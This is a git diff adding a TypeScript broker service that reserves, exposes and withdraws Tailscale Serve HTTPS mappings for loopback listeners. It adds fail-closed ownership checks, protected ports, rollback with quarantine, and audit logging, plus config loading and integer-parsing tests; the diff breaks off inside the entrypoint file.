+  }
+
+  private async dispatch(request: BrokerRequest, peer: PeerCredentials): Promise<BrokerResponse> {
+    try {
+      authorizePeer(peer, this.config.peerPolicy);
+    } catch (error) {
+      return this.fail(request.requestId, peer, request.op, "unauthorized_peer", error);
+    }
+    try {
+      switch (request.op) {
+        case "list":
+          return this.doList(request, peer);
+        case "reserve":
+          return this.doReserve(request, peer);
+        case "expose":
+          return this.doExpose(request, peer);
+        case "remove":
+          return this.doRemove(request, peer);
+      }
+    } catch (error) {
+      const code = (error as { brokerCode?: string }).brokerCode ?? codeForError(error);
+      return this.fail(request.requestId, peer, request.op, code, error);
+    }
+  }
+
+  private readServe(): ParsedServe {
+    const result = this.config.deps.runTailscale(buildStatusArgv(this.config.tailscaleBinPath));
+    if (result.timedOut) denied("cli_timeout", "serve status timed out");
+    if (result.code !== 0) denied("cli_error", "serve status exited non-zero");
+    let json: unknown;
+    try {
+      json = JSON.parse(result.stdout);
+    } catch {
+      denied("serve_parse_error", "serve status returned invalid JSON");
+    }
+    try {
+      return parseServeStatus(json);
+    } catch (error) {
+      if (error instanceof ServeParseError) denied("serve_parse_error", error.message);
+      throw error;
+    }
+  }
+
+  private loadRegistry(pruneReservations = true): BrokerRegistry {
+    const registry = loadRegistry(this.config.registryPath, this.config.nodeIdentity);
+    // Boot/node identity change forces quarantine + operator reconciliation.
+    if (registry.nodeIdentity !== this.config.nodeIdentity) {
+      denied("quarantined", "node identity changed; operator reconciliation required");
+    }
+    if (pruneReservations && pruneExpiredReservations(registry, this.config.deps.nowIso()).length > 0) {
+      saveRegistry(this.config.registryPath, registry);
+    }
+    return registry;
+  }
+
+  private doReserve(
+    request: Extract<BrokerRequest, { op: "reserve" }>,
+    peer: PeerCredentials,
+  ): BrokerResponse {
+    const registry = this.loadRegistry();
+    // Protected ports are never allocatable, so a lane can never acquire a lease
+    // on one and no later lifecycle op can reach it (PAP-17285).
+    this.assertNoProtectedPort(request.listeners.map((listener) => listener.port));
+    for (const listener of request.listeners) {
+      if (!this.config.isAllowedPort(listener.port)) {
+        denied("port_not_allowlisted", `port ${listener.port} is outside the dedicated range`);
+      }
+      if (isPortQuarantined(registry, listener.port)) {
+        denied("quarantined", `port ${listener.port} is quarantined`);
+      }
+    }
+
+    const requestedPorts = request.listeners.map((listener) => listener.port);
+    const requestedPurposes = request.listeners.map((listener) => listener.purpose);
+    const existingForRuntime = registry.leases.find((lease) =>
+      lease.runtimeId === request.runtimeId
+      && lease.peerUid === peer.uid
+      && lease.peerGid === peer.gid
+      && sameNumbers(lease.ports, requestedPorts)
+      && sameStrings(lease.purposes, requestedPurposes));
+    if (existingForRuntime) {
+      return {
+        ok: true,
+        op: "reserve",
+        requestId: request.requestId,
+        handle: existingForRuntime.handle,
+        reservedPorts: [...existingForRuntime.ports],
+      };
+    }
+
+    for (const lease of registry.leases) {
+      if (lease.ports.some((port) => requestedPorts.includes(port))) {
+        denied("reservation_conflict", "a requested port is reserved by another runtime");
+      }
+    }
+
+    const serve = this.readServe();
+    assertPrimaryIntact(serve);
+    for (const port of requestedPorts) {
+      if (serve.entries.has(port)) {
+        denied("manual_mapping_present", `port ${port} already has a Serve mapping`);
+      }
+    }
+
+    const createdAtIso = this.config.deps.nowIso();
+    const handle = generateLeaseHandle();
+    addLease(registry, {
+      handle,
+      runtimeId: request.runtimeId,
+      peerUid: peer.uid,
+      peerGid: peer.gid,
+      ports: requestedPorts,
+      purposes: requestedPurposes,
+      state: "reserved",
+      generation: nextGeneration(registry),
+      createdAtIso,
+      expiresAtIso: new Date(Date.parse(createdAtIso) + RESERVATION_TTL_MS).toISOString(),
+    });
+    saveRegistry(this.config.registryPath, registry);
+    this.config.auditSink.write({
+      timestampIso: this.config.deps.nowIso(),
+      peer,
+      op: "reserve",
+      runtimeId: request.runtimeId,
+      ports: requestedPorts,
+      requestId: request.requestId,
+      decision: "allow",
+      reasonCode: "ok",
+      reason: "reserved",
+      beforeDigest: primaryDigest(serve),
+      afterDigest: primaryDigest(serve),
+      cliExitCategory: "ok",
+      recovery: "none",
+    });
+    return { ok: true, op: "reserve", requestId: request.requestId, handle, reservedPorts: requestedPorts };
+  }
+
+  /**
+   * Prove the port carries an acceptable, attributable managed listener, or
+   * deny. Each predicate keeps its own reason code so a deployed failure can be
+   * attributed to a missing listener, an off-loopback bind, a foreign owner, or
+   * a socket the broker could not name.
+   */
+  private verifyListener(port: number): ListenerOwnership {
+    const ownership = this.config.deps.verifyListenerOwnership(port);
+    if (!ownership.present) {
+      denied("listener_absent", `no loopback listener on port ${port}`);
+    }
+    if (!ownership.loopbackOnly) {
+      denied("listener_not_loopback", `listener on ${port} is not loopback-only`);
+    }
+    if (!ownership.ownerUidMatches) {
+      denied("listener_ownership_mismatch", `listener on ${port} not owned by managed runtime`);
+    }
+    // Present but unnameable is not permission. Without a socket identity the
+    // broker cannot prove that the socket it publishes is the socket it
+    // verified, so it refuses rather than publishing on trust.
+    if (ownership.inodes.length === 0) {
+      denied("listener_unattributable", `listener on ${port} has no identifiable socket`);
+    }
+    return ownership;
+  }
+
+  /**
+   * Re-prove that `port` still carries the exact socket verified earlier. A
+   * changed identity means the listener was substituted inside the window, so
+   * publishing would expose a service the broker never authorized.
+   */
+  private assertListenerUnchanged(port: number, expected: string | undefined): void {
+    if (expected === undefined) {
+      denied("listener_substituted", `port ${port} was not verified before mutation`);
+    }
+    const current = listenerIdentity(this.verifyListener(port));
+    if (current !== expected) {
+      denied(
+        "listener_substituted",
+        `listener on ${port} changed after verification; refusing to expose a substituted service`,
+      );
+    }
+  }
+
+  /**
+   * Current socket identity without denying on a failed predicate. Used by the
+   * post-publication sweep, which must classify *every* port before it throws:
+   * an absent or unnameable listener is as much a substitution as a swapped one,
+   * and each case still needs the mapping withdrawn.
+   *
+   * SCOPE. Every check here is point-in-time, and it bounds the transaction only.
+   * A same-UID process can still replace a listener *after* a successful expose
+   * returns, while the Serve mapping persists. No check inside this transaction
+   * can close that, because the mapping outlives the transaction; the broker has
+   * no way to pin a Serve entry to a socket. That case is a lifecycle concern and
+   * is handled above the broker: the server re-verifies listener ownership on
+   * every readiness and health check, and reconciliation fails closed when a
+   * reserved pair is held by a different execution workspace. What this
+   * transaction guarantees is narrower and worth stating plainly — a *successful*
+   * expose published the socket it verified, and a failed one leaves nothing of
+   * ours published.
+   */
+  private currentListenerIdentity(port: number): string {
+    try {
+      return listenerIdentity(this.config.deps.verifyListenerOwnership(port));
+    } catch {
+      return "";
+    }
+  }
+
+  private doExpose(
+    request: Extract<BrokerRequest, { op: "expose" }>,
+    peer: PeerCredentials,
+  ): BrokerResponse {
+    const registry = this.loadRegistry(false);
+    let lease;
+    try {
+      lease = authorizeRemoval(registry.leases, request, peer);
+    } catch (error) {
+      if (error instanceof AuthorizationError) denied(error.code, error.message);
+      throw error;
+    }
+    if (lease.state === "reserved" && lease.expiresAtIso && Date.parse(lease.expiresAtIso) <= Date.parse(this.config.deps.nowIso())) {
+      removeLeaseByHandle(registry, lease.handle);
+      saveRegistry(this.config.registryPath, registry);
+      denied("reservation_expired", "reservation expired before exposure");
+    }
+
+    // A protected port must be refused even when a previously-issued lease names
+    // it, so an operator declaration made *after* a lease existed still holds.
+    this.assertNoProtectedPort(lease.ports);
+
+    // Captured before the transaction can promote the lease: true means a prior
+    // expose already published these ports, so the broker owns whatever mapping
+    // is on them. This is the provenance the withdrawal path uses.
+    const leaseWasExposed = lease.state === "exposed";
+
+    // Pre-flight every requested port: allowlist, quarantine, and the
+    // immediately-before /proc ownership check (req #2).
+    //
+    // The verified socket identity per port is retained, because the checks
+    // below are not the last thing to happen before Serve is mutated: reading
+    // Serve status runs a `tailscale` subprocess, which is unbounded wall-clock
+    // time during which the verified listener can close and another process can
+    // take the port. Every mutation therefore re-proves this identity.
+    const verifiedIdentities = new Map<number, string>();
+    for (const port of lease.ports) {
+      if (!this.config.isAllowedPort(port)) {
+        denied("port_not_allowlisted", `port ${port} is outside the dedicated range`);
+      }
+      if (isPortQuarantined(registry, port)) {
+        denied("quarantined", `port ${port} is quarantined`);
+      }
+      // Each predicate gets its own code. Enforcement is unchanged — every
+      // branch below still denies, before anything reads or mutates Serve — but
+      // the caller can now tell which predicate failed. Previously all three
+      // returned `listener_ownership_mismatch` and only the root-owned audit
+      // file carried the reason, so a deployed failure could not be attributed
+      // to a missing listener, an off-loopback bind, or a foreign owner.
+      const ownership = this.verifyListener(port);
+      verifiedIdentities.set(port, listenerIdentity(ownership));
+    }
+
+    const before = this.readServe();
+    assertPrimaryIntact(before);
+    const beforePrimary = primaryDigest(before);
+
+    // Each target port must be absent or already exactly our same-number entry
+    // (idempotent re-expose). A manual/unknown entry is never touched.
+    for (const port of lease.ports) {
+      const entry = before.entries.get(port);
+      if (entry && !isSameNumberLoopbackEntry(entry, port)) {
+        denied("manual_mapping_present", `port ${port} already has a non-Paperclip mapping`);
+      }
+    }
+
+    const appliedPorts: number[] = [];
+    try {
+      for (const port of lease.ports) {
+        const already = before.entries.get(port);
+        if (already && isSameNumberLoopbackEntry(already, port)) {
+          continue; // idempotent
+        }
+        // Immediately before this port's mutation, and again after the whole
+        // batch below. Checking only once before `readServe()` left the verified
+        // socket free to be replaced during that subprocess.
+        this.assertListenerUnchanged(port, verifiedIdentities.get(port));
+        const result = this.config.deps.runTailscale(
+          buildExposeArgv(this.config.tailscaleBinPath, port, this.protectedPorts),
+        );
+        if (result.timedOut) denied("cli_timeout", `expose ${port} timed out`);
+        if (result.code !== 0) denied("cli_error", `expose ${port} exited non-zero`);
+        appliedPorts.push(port);
+      }
+
+      const after = this.readServe();
+      // Digest equality (vs the known-good `before`) is the strongest primary
+      // check: any retarget, removal, or structural change fails closed here as
+      // a primary_route_violation before any weaker classification runs.
+      if (primaryDigest(after) !== beforePrimary) {
+        denied("primary_route_violation", "protected :443 route changed during expose");
+      }
+      assertPrimaryIntact(after);
+      this.assertProtectedIntact(before, after);
+      // Only the intended ports may have changed, and each must now be an exact
+      // same-number loopback listener.
+      const diff = new Set(changedPorts(before, after));
+      const intended = new Set(lease.ports);
+      for (const port of diff) {
+        if (!intended.has(port)) denied("unexpected_serve_diff", `unexpected change on port ${port}`);
+      }
+      for (const port of lease.ports) {
+        if (!isSameNumberLoopbackEntry(after.entries.get(port), port)) {
+          denied("unexpected_serve_diff", `port ${port} not exactly exposed`);
+        }
+      }
+
+      // Final proof, after the last mutation and the status read that follows
+      // it: every published port must still carry the socket that was verified.
+      //
+      // Classify all ports before throwing. A port skipped above as idempotent
+      // was never added to `appliedPorts`, so denying alone would leave its
+      // pre-existing mapping active and now pointing at the replacement service.
+      // Any port whose identity no longer matches is therefore made eligible for
+      // withdrawal, whether this request published it or found it already
+      // correct. Which of those ports are ours to withdraw is decided below from
+      // the registry, not from the shape of the Serve entry.
+      const substituted = lease.ports.filter(
+        (port) => this.currentListenerIdentity(port) !== verifiedIdentities.get(port),
+      );
+      if (substituted.length > 0) {
+        // Provenance for a withdrawal comes from the broker's own registry, not
+        // from the shape of a Serve entry. An already-`exposed` lease means the
+        // broker published these ports itself, so they are ours to withdraw — and
+        // that holds even if Serve cannot be read at this moment, which is why
+        // this does not depend on a live status read that might fail and silently
+        // preserve the substituted mapping. A still-`reserved` lease published
+        // nothing, so there is nothing of ours to withdraw.
+        //
+        // Shape alone would be the wrong test in both directions: it cannot prove
+        // an identically-shaped entry is ours, and it cannot be evaluated at all
+        // when the status read fails. An operator who needs a mapping to survive
+        // managed lifecycle declares the port protected, which is refused far
+        // above this point.
+        if (leaseWasExposed) {
+          for (const port of substituted) {
+            if (!appliedPorts.includes(port)) appliedPorts.push(port);
+          }
+        }
+        denied(
+          "listener_substituted",
+          `listener on ${substituted.join(",")} changed after verification; withdrawing the mapping`,
+        );
+      }
+
+      lease.state = "exposed";
+      lease.expiresAtIso = null;
+      saveRegistry(this.config.registryPath, registry);
+
+      this.config.auditSink.write({
+        timestampIso: this.config.deps.nowIso(),
+        peer,
+        op: "expose",
+        runtimeId: request.runtimeId,
+        ports: lease.ports,
+        requestId: request.requestId,
+        decision: "allow",
+        reasonCode: "ok",
+        reason: "exposed",
+        beforeDigest: beforePrimary,
+        afterDigest: primaryDigest(after),
+        cliExitCategory: "ok",
+        recovery: "none",
+      });
+
+      return {
+        ok: true,
+        op: "expose",
+        requestId: request.requestId,
+        handle: lease.handle,
+        publicPorts: [...lease.ports],
+      };
+    } catch (error) {
+      // Partial success is not healthy: compensate by removing only the exact
+      // entries we applied; if compensation cannot be proven, quarantine.
+      this.compensateExpose(appliedPorts, registry, before, peer, request);
+      throw error;
+    }
+  }
+
+  /**
+   * Roll back a partially-applied expose.
+   *
+   * This path used to mutate Serve with no verification and no audit event at
+   * all: it fired one `--https=<port> off` per applied port, trusted the exit
+   * code, and returned. That made it the one broker mutation where an unrelated
+   * Serve change was structurally undetectable, and where a mutation left no
+   * durable record (PAP-17285 requirement #3, and req #6 which mandates one
+   * audit event per mutation outcome).
+   *
+   * It now re-reads Serve and proves three things against the pre-mutation
+   * snapshot: the primary route is intact, every protected entry is unchanged,
+   * and nothing outside the compensated set changed. Any port it cannot prove
+   * clean is quarantined, so recoverability is preserved rather than traded away.
+   * Compensation never throws — the original failure is the caller's error and
+   * must not be masked — but it can no longer fail silently either.
+   */
+  private compensateExpose(
+    appliedPorts: number[],
+    registry: BrokerRegistry,
+    before: ParsedServe,
+    peer: PeerCredentials,
+    request: Extract<BrokerRequest, { op: "expose" }>,
+  ): void {
+    const unproven: number[] = [];
+    for (const port of appliedPorts) {
+      let cleaned = false;
+      try {
+        const result = this.config.deps.runTailscale(
+          buildRemoveArgv(this.config.tailscaleBinPath, port, this.protectedPorts),
+        );
+        cleaned = !result.timedOut && result.code === 0;
+      } catch {
+        cleaned = false;
+      }
+      if (!cleaned) {
+        quarantinePort(registry, port);
+        unproven.push(port);
+      }
+    }
+
+    // Verify the rollback actually restored the pre-mutation state. A failure
+    // here is a containment failure, not a cleanup detail, so every port we
+    // touched is quarantined even if its own `off` reported success.
+    let verifyFailure: string | null = null;
+    try {
+      const after = this.readServe();
+      if (primaryDigest(after) !== primaryDigest(before)) {
+        verifyFailure = "primary_route_violation";
+      } else {
+        const protectedChanged = changedProtectedPorts(before, after, this.protectedPorts);
+        if (protectedChanged.length > 0) {
+          verifyFailure = `protected_entry_violation:${protectedChanged.join(",")}`;
+        } else {
+          const compensated = new Set(appliedPorts);
+          const stray = changedPorts(before, after).filter((port) => !compensated.has(port));
+          if (stray.length > 0) verifyFailure = `unexpected_serve_diff:${stray.join(",")}`;
+        }
+      }
+    } catch (error) {
+      // Could not even read Serve back — treat as unproven, never as clean.
+      verifyFailure = `unverifiable:${(error as { brokerCode?: string }).brokerCode ?? "read_failed"}`;
+    }
+    if (verifyFailure) {
+      for (const port of appliedPorts) {
+        quarantinePort(registry, port);
+        if (!unproven.includes(port)) unproven.push(port);
+      }
+    }
+
+    try {
+      saveRegistry(this.config.registryPath, registry);
+    } catch {
+      /* best effort; registry may already reflect quarantine on next load */
+    }
+
+    try {
+      this.config.auditSink.write({
+        timestampIso: this.config.deps.nowIso(),
+        peer,
+        op: "expose",
+        runtimeId: request.runtimeId,
+        ports: appliedPorts,
+        requestId: request.requestId,
+        decision: verifyFailure || unproven.length > 0 ? "deny" : "allow",
+        reasonCode: verifyFailure ? "unexpected_serve_diff" : "ok",
+        reason: verifyFailure
+          ? `expose compensation unverified: ${verifyFailure}`
+          : unproven.length > 0
+            ? `expose compensation could not clean ports: ${unproven.join(",")}`
+            : "expose compensated",
+        cliExitCategory: verifyFailure || unproven.length > 0 ? "error" : "ok",
+        recovery: unproven.length > 0 ? "quarantine" : "cleanup",
+      });
+    } catch {
+      /* never let an audit failure mask the original expose error */
+    }
+  }
+
+  private doRemove(
+    request: Extract<BrokerRequest, { op: "remove" }>,
+    peer: PeerCredentials,
+  ): BrokerResponse {
+    const registry = this.loadRegistry();
+    let lease;
+    try {
+      lease = authorizeRemoval(registry.leases, request, peer);
+    } catch (error) {
+      if (error instanceof AuthorizationError) denied(error.code, error.message);
+      throw error;
+    }
+
+    // Refuse before any Serve read or mutation. This is the exact clause whose
+    // absence let an authorized, shape-valid removal destroy `42000/52000`: the
+    // lease was genuinely the broker's own, so nothing else in this path could
+    // object (PAP-17285).
+    this.assertNoProtectedPort(lease.ports);
+
+    if (lease.state === "reserved") {
+      removeLeaseByHandle(registry, lease.handle);
+      saveRegistry(this.config.registryPath, registry);
+      this.config.auditSink.write({
+        timestampIso: this.config.deps.nowIso(),
+        peer,
+        op: "remove",
+        runtimeId: request.runtimeId,
+        ports: lease.ports,
+        requestId: request.requestId,
+        decision: "allow",
+        reasonCode: "ok",
+        reason: "reservation_released",
+        cliExitCategory: "ok",
+        recovery: "cleanup",
+      });
+      return { ok: true, op: "remove", requestId: request.requestId, removedPorts: [] };
+    }
+
+    const before = this.readServe();
+    assertPrimaryIntact(before);
+    const beforePrimary = primaryDigest(before);
+
+    const removedPorts: number[] = [];
+    for (const port of lease.ports) {
+      const entry = before.entries.get(port);
+      if (!entry) continue; // already gone; idempotent
+      if (!isSameNumberLoopbackEntry(entry, port)) {
+        // Unknown/manual/mismatched entry — never modify; cannot prove cleanup.
+        quarantinePort(registry, port);
+        saveRegistry(this.config.registryPath, registry);
+        denied("listener_ownership_mismatch", `port ${port} does not match the owned lease entry`);
+      }
+      const result = this.config.deps.runTailscale(
+        buildRemoveArgv(this.config.tailscaleBinPath, port, this.protectedPorts),
+      );
+      if (result.timedOut) denied("cli_timeout", `remove ${port} timed out`);
+      if (result.code !== 0) denied("cli_error", `remove ${port} exited non-zero`);
+      removedPorts.push(port);
+    }
+
+    const after = this.readServe();
+    if (primaryDigest(after) !== beforePrimary) {
+      denied("primary_route_violation", "protected :443 route changed during remove");
+    }
+    assertPrimaryIntact(after);
+    this.assertProtectedIntact(before, after);
+    const diff = new Set(changedPorts(before, after));
+    for (const port of diff) {
+      if (!lease.ports.includes(port)) denied("unexpected_serve_diff", `unexpected change on port ${port}`);
+    }
+    for (const port of removedPorts) {
+      if (after.entries.get(port)) denied("unexpected_serve_diff", `port ${port} still present after remove`);
+    }
+
+    removeLeaseByHandle(registry, lease.handle);
+    saveRegistry(this.config.registryPath, registry);
+
+    this.config.auditSink.write({
+      timestampIso: this.config.deps.nowIso(),
+      peer,
+      op: "remove",
+      runtimeId: request.runtimeId,
+      ports: lease.ports,
+      requestId: request.requestId,
+      decision: "allow",
+      reasonCode: "ok",
+      reason: "removed",
+      beforeDigest: beforePrimary,
+      afterDigest: primaryDigest(after),
+      cliExitCategory: "ok",
+      recovery: "cleanup",
+    });
+
+    return { ok: true, op: "remove", requestId: request.requestId, removedPorts };
+  }
+
+  private doList(
+    request: Extract<BrokerRequest, { op: "list" }>,
+    peer: PeerCredentials,
+  ): BrokerResponse {
+    const registry = this.loadRegistry();
+    const listeners = registry.leases
+      .filter((lease) => lease.state === "exposed" && lease.peerUid === peer.uid && lease.peerGid === peer.gid)
+      .flatMap((lease) =>
+        lease.ports.map((port, index) => ({
+          runtimeId: lease.runtimeId,
+          port,
+          purpose: lease.purposes[index] ?? "app",
+        })),
+      );
+    this.config.auditSink.write({
+      timestampIso: this.config.deps.nowIso(),
+      peer,
+      op: "list",
+      runtimeId: null,
+      ports: listeners.map((l) => l.port),
+      requestId: request.requestId,
+      decision: "allow",
+      reasonCode: "ok",
+      reason: "listed",
+    });
+    return { ok: true, op: "list", requestId: request.requestId, listeners };
+  }
+
+  private fail(
+    requestId: string | null,
+    peer: PeerCredentials | null,
+    op: string,
+    code: string,
+    error: unknown,
+  ): BrokerResponse {
+    const message = error instanceof Error ? error.message : String(error);
+    try {
+      this.config.auditSink.write({
+        timestampIso: this.config.deps.nowIso(),
+        peer,
+        op,
+        runtimeId: null,
+        ports: [],
+        requestId,
+        decision: "deny",
+        reasonCode: code as never,
+        reason: message,
+      });
+    } catch {
+      /* never let an audit failure mask the denial response */
+    }
+    return { ok: false, requestId, code: code as never, message: safeMessage(code) };
+  }
+}
+
+function sameNumbers(left: readonly number[], right: readonly number[]): boolean {
+  return left.length === right.length && left.every((value, index) => value === right[index]);
+}
+
+function sameStrings(left: readonly string[], right: readonly string[]): boolean {
+  return left.length === right.length && left.every((value, index) => value === right[index]);
+}
+
+/**
+ * Stable, comparable identity for the listening socket(s) on a port. Inodes are
+ * already sorted by the verifier; joining them makes two snapshots comparable
+ * with a single equality check.
+ */
+function listenerIdentity(ownership: ListenerOwnership): string {
+  return ownership.inodes.join(",");
+}
+
+function codeForError(error: unknown): string {
+  if (error instanceof ServeParseError) return "serve_parse_error";
+  if (error instanceof AuthorizationError) return error.code;
+  return "internal_error";
+}
+
+/** Client-facing message is a stable label; never echoes host/command detail. */
+function safeMessage(code: string): string {
+  return code;
+}
diff --git a/packages/tailscale-https-broker/src/config.ts b/packages/tailscale-https-broker/src/config.ts
new file mode 100644
index 00000000000..bf402196822
--- /dev/null
+++ b/packages/tailscale-https-broker/src/config.ts
@@ -0,0 +1,61 @@
+/**
+ * Environment-driven configuration for the broker host service. All values are
+ * validated; unsafe or missing required values make the broker refuse to start
+ * (fail closed).
+ */
+import { parseProtectedPorts } from "./port-policy.js";
+import { registryPathUnsafeReason } from "./registry.js";
+
+export interface BrokerHostConfig {
+  socketPath: string;
+  registryPath: string;
+  auditPath: string;
+  tailscaleBinPath: string;
+  nodeIdentity: string;
+  serviceUid: number;
+  serviceGid: number;
+  runtimeUid: number;
+  /**
+   * Operator-declared ports the broker must never mutate, parsed from
+   * `BROKER_PROTECTED_PORTS` (PAP-17285). Empty when unset.
+   */
+  protectedPorts: number[];
+}
+
+function requireEnv(env: NodeJS.ProcessEnv, key: string): string {
+  const value = env[key];
+  if (!value || value.trim().length === 0) {
+    throw new Error(`missing required env: ${key}`);
+  }
+  return value;
+}
+
+function requireUid(env: NodeJS.ProcessEnv, key: string): number {
+  const raw = requireEnv(env, key);
+  if (!/^[0-9]+$/.test(raw)) throw new Error(`${key} must be a non-negative integer`);
+  return Number(raw);
+}
+
+export function loadHostConfig(env: NodeJS.ProcessEnv): BrokerHostConfig {
+  const config: BrokerHostConfig = {
+    socketPath: env.BROKER_SOCKET_PATH ?? "/run/paperclip-tailscale-broker/broker.sock",
+    registryPath: env.BROKER_REGISTRY_PATH ?? "/var/lib/paperclip-tailscale-broker/registry.json",
+    auditPath: env.BROKER_AUDIT_PATH ?? "/var/log/paperclip-tailscale-broker/audit.log",
+    tailscaleBinPath: env.BROKER_TAILSCALE_BIN ?? "/usr/bin/tailscale",
+    nodeIdentity: requireEnv(env, "BROKER_NODE_IDENTITY"),
+    serviceUid: requireUid(env, "BROKER_SERVICE_UID"),
+    serviceGid: requireUid(env, "BROKER_SERVICE_GID"),
+    runtimeUid: requireUid(env, "BROKER_RUNTIME_UID"),
+    // Throws on a malformed list so the broker refuses to start rather than
+    // starting up silently protecting nothing (PAP-17285).
+    protectedPorts: parseProtectedPorts(env.BROKER_PROTECTED_PORTS),
+  };
+  if (!config.tailscaleBinPath.startsWith("/")) {
+    throw new Error("BROKER_TAILSCALE_BIN must be an absolute path");
+  }
+  const unsafe = registryPathUnsafeReason(config.registryPath);
+  if (unsafe) {
+    throw new Error(`refusing to start: ${unsafe} (${config.registryPath})`);
+  }
+  return config;
+}
diff --git a/packages/tailscale-https-broker/src/index.ts b/packages/tailscale-https-broker/src/index.ts
new file mode 100644
index 00000000000..b37b28ce657
--- /dev/null
+++ b/packages/tailscale-https-broker/src/index.ts
@@ -0,0 +1,11 @@
+export * from "./types.js";
+export * from "./integers.js";
+export * from "./strict-json.js";
+export * from "./protocol.js";
+export * from "./argv.js";
+export * from "./serve-config.js";
+export * from "./authorization.js";
+export * from "./registry.js";
+export * from "./audit.js";
+export * from "./port-policy.js";
+export * from "./broker-core.js";
diff --git a/packages/tailscale-https-broker/src/integers.test.ts b/packages/tailscale-https-broker/src/integers.test.ts
new file mode 100644
index 00000000000..76000bbf40e
--- /dev/null
+++ b/packages/tailscale-https-broker/src/integers.test.ts
@@ -0,0 +1,51 @@
+import { describe, expect, it } from "vitest";
+import { assertCanonicalPort, parseCanonicalIntegerString } from "./integers.js";
+
+describe("assertCanonicalPort", () => {
+  it("accepts in-range integers", () => {
+    expect(assertCanonicalPort(1)).toBe(1);
+    expect(assertCanonicalPort(42010)).toBe(42010);
+    expect(assertCanonicalPort(65535)).toBe(65535);
+  });
+
+  it("rejects non-numbers, non-integers, and out-of-range", () => {
+    expect(() => assertCanonicalPort("42010")).toThrow();
+    expect(() => assertCanonicalPort(42010.5)).toThrow();
+    expect(() => assertCanonicalPort(0)).toThrow();
+    expect(() => assertCanonicalPort(-1)).toThrow();
+    expect(() => assertCanonicalPort(65536)).toThrow();
+    expect(() => assertCanonicalPort(Number.NaN)).toThrow();
+    expect(() => assertCanonicalPort(Infinity)).toThrow();
+    expect(() => assertCanonicalPort(null)).toThrow();
+  });
+});
+
+describe("parseCanonicalIntegerString", () => {
+  it("accepts canonical decimal strings", () => {
+    expect(parseCanonicalIntegerString("0")).toBe(0);
+    expect(parseCanonicalIntegerString("42010")).toBe(42010);
+  });
+
+  it("rejects signs, whitespace, leading zeros, decimals, and exponents", () => {
+    expect(() => parseCanonicalIntegerString("+42010")).toThrow();
+    expect(() => parseCanonicalIntegerString("-1")).toThrow();
+    expect(() => parseCanonicalIntegerString(" 42010")).toThrow();
+    expect(() => parseCanonicalIntegerString("42010 ")).toThrow();
+    expect(() => parseCanonicalIntegerString("007")).toThrow();
+    expect(() => parseCanonicalIntegerString("00")).toThrow();
+    expect(() => parseCanonicalIntegerString("4.2")).toThrow();
+    expect(() => parseCanonicalIntegerString("4e2")).toThrow();
+  });
+
+  it("rejects Unicode digits and non-string input", () => {
+    // Arabic-Indic digits for 42010.
+    expect(() => parseCanonicalIntegerString("٤٢٠١٠")).toThrow();
+    // Fullwidth digits.
+    expect(() => parseCanonicalIntegerString("４２０１０")).toThrow();
+    expect(() => parseCanonicalIntegerString(42010 as unknown as string)).toThrow();
+  });
+
+  it("rejects integer overflow beyond safe range", () => {
+    expect(() => parseCanonicalIntegerString("99999999999999999999")).toThrow();
+  });
+});
diff --git a/packages/tailscale-https-broker/src/integers.ts b/packages/tailscale-https-broker/src/integers.ts
new file mode 100644
index 00000000000..9bfb972fa5f
--- /dev/null
+++ b/packages/tailscale-https-broker/src/integers.ts
@@ -0,0 +1,59 @@
+/**
+ * Canonical integer parsing for the broker. Commands and Serve mutations are
+ * generated only from integers that pass these checks, never from raw strings,
+ * URLs, or unvalidated JSON (PAP-17050 verdict requirement #4).
+ */
+
+/** Ports are constrained to the valid TCP range. */
+export const MIN_PORT = 1;
+export const MAX_PORT = 65535;
+
+/**
+ * Assert a JSON-decoded value is a canonical, safe, in-range port number.
+ * Rejects non-numbers, non-integers, NaN/Infinity, negatives, and out-of-range
+ * values. Returns the number so call sites read as validated.
+ */
+export function assertCanonicalPort(value: unknown): number {
+  if (typeof value !== "number") {
+    throw new Error("port must be a JSON number");
+  }
+  if (!Number.isInteger(value)) {
+    throw new Error("port must be an integer");
+  }
+  if (value < MIN_PORT || value > MAX_PORT) {
+    throw new Error(`port out of range [${MIN_PORT}, ${MAX_PORT}]`);
+  }
+  return value;
+}
+
+/**
+ * Parse an integer from an untrusted STRING with strict canonical rules.
+ * Rejects: empty, whitespace, signs, leading zeros (non-canonical), decimals,
+ * exponents, thousands separators, Unicode digits, and anything that does not
+ * round-trip exactly back to its canonical decimal form. Used at any boundary
+ * where a numeric value could arrive as text.
+ */
+export function parseCanonicalIntegerString(raw: unknown): number {
+  if (typeof raw !== "string") {
+    throw new Error("expected a string integer");
+  }
+  // Only ASCII digits, at least one, no sign, no whitespace. `^[0-9]+$` with a
+  // JS regex still matches only ASCII 0-9 (it does not match Unicode digits
+  // unless the `u` + property-escape form is used), which is what we want.
+  if (!/^[0-9]+$/.test(raw)) {
+    throw new Error("integer contains non-canonical characters");
+  }
+  // Reject non-canonical leading zeros ("007", "00").
+  if (raw.length > 1 && raw[0] === "0") {
+    throw new Error("integer has non-canonical leading zero");
+  }
+  const parsed = Number(raw);
+  if (!Number.isSafeInteger(parsed)) {
+    throw new Error("integer overflow / not a safe integer");
+  }
+  // Round-trip guard against any residual ambiguity.
+  if (String(parsed) !== raw) {
+    throw new Error("integer did not round-trip canonically");
+  }
+  return parsed;
+}
diff --git a/packages/tailscale-https-broker/src/main.ts b/packages/tailscale-https-broker/src/main.ts
new file mode 100644
index 00000000000..993522e1b91
--- /dev/null
+++ b/packages/tailscale-https-broker/src/main.ts
@@ -0,0 +1,94 @@
+#!/usr/bin/env node
+/**
+ * Broker host entrypoint. Wires the tested BrokerCore to the live Tailscale
+ * CLI, /proc listener-ownership check, file registry, file audit sink, and the
+ * unix-socket transport. Runs as a dedicated, Tailscale-operator service
+ * account — NOT as the Paperclip app/agent account.
+ *
+ * Usage:
+ *   paperclip-tailscale-https-broker            # run the broker
+ *   paperclip-tailscale-https-broker --doctor   # read-only preflight, no mutation
+ */
+import { FileAuditSink } from "./audit.js";
+import { BrokerCore } from "./broker-core.js";
+import { loadHostConfig } from "./config.js";
+import { createNativePeerCredentialReader } from "./native-peercred.js";
+import { createPeerResolver } from "./peercred.js";
+import { defaultIsAllowedPort } from "./port-policy.js";
+import { createProcListenerVerifier } from "./proc-listener.js";
+import { startSocketServer } from "./socket-server.js";
+import { buildStatusArgv } from "./argv.js";
+import { assertPrimaryIntact, parseServeStatus } from "./serve-config.js";
+import { createTailscaleRunner, isSupportedTailscaleVersion } from "./tailscale-cli.js";
+
+function runDoctor(): number {
+  const config = loadHostConfig(process.env);
+  const runner = createTailscaleRunner();
+  const version = runner([config.tailscaleBinPath, "version"]);
